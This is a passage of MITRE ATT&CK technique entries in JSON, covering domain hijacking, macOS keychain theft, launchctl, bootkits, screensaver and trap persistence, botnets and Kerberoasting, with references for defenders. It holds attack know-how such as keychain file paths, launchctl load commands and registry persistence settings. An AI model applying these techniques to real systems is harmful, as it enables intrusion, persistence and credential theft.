"description": "Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) An adversary may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)",
"meta": {
"external_id": "T1584.001",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Domain Name: Active DNS",
"Domain Name: Domain Registration",
"Domain Name: Passive DNS"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1584/001",
"https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover",
"https://www.icann.org/groups/ssac/documents/sac-007-en"
]
},
"related": [
{
"dest-uuid": "7e3beebd-8bfe-4e7b-a892-e44ab06a75f9",
"type": "subtechnique-of"
}
],
"uuid": "f9cc4d06-775f-4ee1-b401-4e2cc0da30ba",
"value": "Domains - T1584.001"
},
{
"description": "Adversaries may collect the keychain storage data from a system to acquire credentials. Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.",
"meta": {
"external_id": "T1555.001",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Process: OS API Execution"
],
"mitre_platforms": [
"macOS"
],
"refs": [
"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
"https://attack.mitre.org/techniques/T1555/001",
"https://en.wikipedia.org/wiki/Keychain_(software)"
]
},
"related": [
{
"dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0",
"type": "subtechnique-of"
}
],
"uuid": "1eaebf46-e361-4437-bc23-d5d65a3b92e3",
"value": "Keychain - T1555.001"
},
{
"description": "Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nAdversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w \"%s/Library/LaunchAgents/%s\" or /bin/launchctl load to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)\n",
"meta": {
"external_id": "T1569.001",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Modification",
"Process: Process Creation",
"Service: Service Creation"
],
"mitre_platforms": [
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1569/001",
"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/",
"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
"https://ss64.com/osx/launchctl.html"
]
},
"related": [
{
"dest-uuid": "d157f9d2-d09a-4efa-bb2a-64963f94e253",
"type": "subtechnique-of"
}
],
"uuid": "810aa4ad-61c9-49cb-993f-daa06199421d",
"value": "Launchctl - T1569.001"
},
{
"description": "Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)\n\nAs with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.\n\nSome aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)",
"meta": {
"external_id": "T1587.001",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Malware Repository: Malware Content",
"Malware Repository: Malware Metadata"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/",
"https://attack.mitre.org/techniques/T1587/001",
"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
"https://www.losangeles.va.gov/documents/MI-000120-MW.pdf",
"https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"
]
},
"related": [
{
"dest-uuid": "edadea33-549c-4ed1-9783-8f5a5853cbdf",
"type": "subtechnique-of"
}
],
"uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0",
"value": "Malware - T1587.001"
},
{
"description": "Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nIn addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).",
"meta": {
"external_id": "T1588.001",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Malware Repository: Malware Content",
"Malware Repository: Malware Metadata"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1588/001",
"https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"
]
},
"related": [
{
"dest-uuid": "ce0687a0-e692-4b77-964a-0784a8e54ff1",
"type": "subtechnique-of"
}
],
"uuid": "7807d3a4-a885-4639-a786-c1ed41484970",
"value": "Malware - T1588.001"
},
{
"description": "Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
"meta": {
"external_id": "T1589.001",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1589/001",
"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
"https://github.com/dxa4481/truffleHog",
"https://github.com/michenriksen/gitrob",
"https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/",
"https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/",
"https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196",
"https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/",
"https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/"
]
},
"related": [
{
"dest-uuid": "5282dd9a-d26d-4e16-88b7-7c0f4553daf4",
"type": "subtechnique-of"
}
],
"uuid": "bc76d0a4-db11-4551-9ac4-01a469cfb161",
"value": "Credentials - T1589.001"
},
{
"description": "Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
"meta": {
"external_id": "T1592.002",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_data_sources": [
"Internet Scan: Response Content"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1592/002",
"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
"https://threatconnect.com/blog/infrastructure-research-hunting/"
]
},
"related": [
{
"dest-uuid": "09312b1a-c3c6-4b45-9844-3ccc78e5d82f",
"type": "subtechnique-of"
}
],
"uuid": "baf60e1a-afe5-4d31-830f-1b1ba2351884",
"value": "Software - T1592.002"
},
{
"description": "Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nA bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.",
"meta": {
"external_id": "CAPEC-552",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Drive: Drive Modification"
],
"mitre_platforms": [
"Linux",
"Windows"
],
"refs": [
"http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion",
"https://attack.mitre.org/techniques/T1542/003",
"https://capec.mitre.org/data/definitions/552.html",
"https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf"
]
},
"related": [
{
"dest-uuid": "7f0ca133-88c4-40c6-a62f-b3083a7fbc2e",
"type": "subtechnique-of"
}
],
"uuid": "1b7b1806-7746-41a1-a35d-e48dae25ddba",
"value": "Bootkit - T1542.003"
},
{
"description": "Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
"meta": {
"external_id": "T1592.003",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/",
"https://attack.mitre.org/techniques/T1592/003"
]
},
"related": [
{
"dest-uuid": "09312b1a-c3c6-4b45-9844-3ccc78e5d82f",
"type": "subtechnique-of"
}
],
"uuid": "b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d",
"value": "Firmware - T1592.003"
},
{
"description": "Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.",
"meta": {
"external_id": "T1542.004",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Firmware: Firmware Modification"
],
"mitre_platforms": [
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1542/004",
"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
]
},
"related": [
{
"dest-uuid": "7f0ca133-88c4-40c6-a62f-b3083a7fbc2e",
"type": "subtechnique-of"
}
],
"uuid": "a6557c75-798f-42e4-be70-ab4502e0a3bc",
"value": "ROMMONkit - T1542.004"
},
{
"description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)",
"meta": {
"external_id": "T1546.002",
"kill_chain": [
"mitre-attack:privilege-escalation",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1546/002",
"https://en.wikipedia.org/wiki/Screensaver",
"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
]
},
"related": [
{
"dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
"type": "subtechnique-of"
}
],
"uuid": "ce4b7013-640e-48a9-b501-d0025a95f4bf",
"value": "Screensaver - T1546.002"
},
{
"description": "Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)\n\nAdversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
"meta": {
"external_id": "T1596.002",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1596/002",
"https://www.whois.net/"
]
},
"related": [
{
"dest-uuid": "55fc4df0-b42c-479a-b860-7a6761bcaad0",
"type": "subtechnique-of"
}
],
"uuid": "166de1c6-2814-4fe5-8438-4e80f76b169f",
"value": "WHOIS - T1596.002"
},
{
"description": "Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)\n\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).",
"meta": {
"external_id": "T1588.002",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Malware Repository: Malware Metadata"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1588/002",
"https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/",
"https://www.recordedfuture.com/identifying-cobalt-strike-servers/"
]
},
"related": [
{
"dest-uuid": "ce0687a0-e692-4b77-964a-0784a8e54ff1",
"type": "subtechnique-of"
}
],
"uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
"value": "Tool - T1588.002"
},
{
"description": "Adversaries may buy, lease, or rent physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations.\n\nAdversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)",
"meta": {
"external_id": "T1583.004",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Internet Scan: Response Content",
"Internet Scan: Response Metadata"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1583/004",
"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2",
"https://threatconnect.com/blog/infrastructure-research-hunting/",
"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation",
"https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html"
]
},
"related": [
{
"dest-uuid": "0458aab9-ad42-4eac-9e22-706a95bafee2",
"type": "subtechnique-of"
}
],
"uuid": "60c4b628-4807-4b0b-bbf5-fdac8643c337",
"value": "Server - T1583.004"
},
{
"description": "Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)",
"meta": {
"external_id": "T1583.005",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1583/005",
"https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/",
"https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/",
"https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/",
"https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html",
"https://www.imperva.com/learn/ddos/booters-stressers-ddosers/"
]
},
"related": [
{
"dest-uuid": "0458aab9-ad42-4eac-9e22-706a95bafee2",
"type": "subtechnique-of"
}
],
"uuid": "31225cd3-cd46-4575-b287-c2c14011c074",
"value": "Botnet - T1583.005"
},
{
"description": "Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)",
"meta": {
"external_id": "CAPEC-509",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Active Directory: Active Directory Credential Request"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://adsecurity.org/?p=2293",
"https://attack.mitre.org/techniques/T1558/003",
"https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/",
"https://capec.mitre.org/data/definitions/509.html",
"https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1",
"https://msdn.microsoft.com/library/ms677949.aspx",
"https://redsiege.com/kerberoast-slides",
"https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx",
"https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/"
]
},
"related": [
{
"dest-uuid": "3fc01293-ef5e-41c6-86ce-61f10706b64a",
"type": "subtechnique-of"
}
],
"uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee",
"value": "Kerberoasting - T1558.003"
},
{
"description": "Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.\n\nAdversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).",
"meta": {
"external_id": "T1584.004",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Internet Scan: Response Content",
"Internet Scan: Response Metadata"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1584/004",
"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2",
"https://threatconnect.com/blog/infrastructure-research-hunting/",
"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"
]
},
"related": [
{
"dest-uuid": "7e3beebd-8bfe-4e7b-a892-e44ab06a75f9",
"type": "subtechnique-of"
}
],
"uuid": "e196b5c5-8118-4a1c-ab8a-936586ce3db5",
"value": "Server - T1584.004"
},
{
"description": "Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)",
"meta": {
"external_id": "T1546.005",
"kill_chain": [
"mitre-attack:privilege-escalation",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Process: Process Creation"
],
"mitre_platforms": [
"macOS",
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1546/005",
"https://bash.cyberciti.biz/guide/Trap_statement",
"https://ss64.com/bash/trap.html"
]
},
"related": [
{
"dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
"type": "subtechnique-of"
}
],
"uuid": "63220765-d418-44de-8fae-694b3912317d",
"value": "Trap - T1546.005"
},
{
"description": "Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service(Citation: Imperva DDoS for Hire), adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).",
"meta": {
"external_id": "T1584.005",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1584/005",
"https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html",
"https://www.imperva.com/learn/ddos/booters-stressers-ddosers/",
"https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation"
]
},
"related": [
{
"dest-uuid": "7e3beebd-8bfe-4e7b-a892-e44ab06a75f9",
"type": "subtechnique-of"
}
],
"uuid": "810d8072-afb6-4a56-9ee7-86379ac4a6f3",
"value": "Botnet - T1584.005"
},
{
"description": "Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region.\n\nAdversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).",
"meta": {
"external_id": "T1596.004",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1596/004",
"https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/"
]
},
"related": [
{
"dest-uuid": "55fc4df0-b42c-479a-b860-7a6761bcaad0",
"type": "subtechnique-of"
}
],
"uuid": "91177e6d-b616-4a03-ba4b-f3b32f7dda75",
"value": "CDNs - T1596.004"
},
{
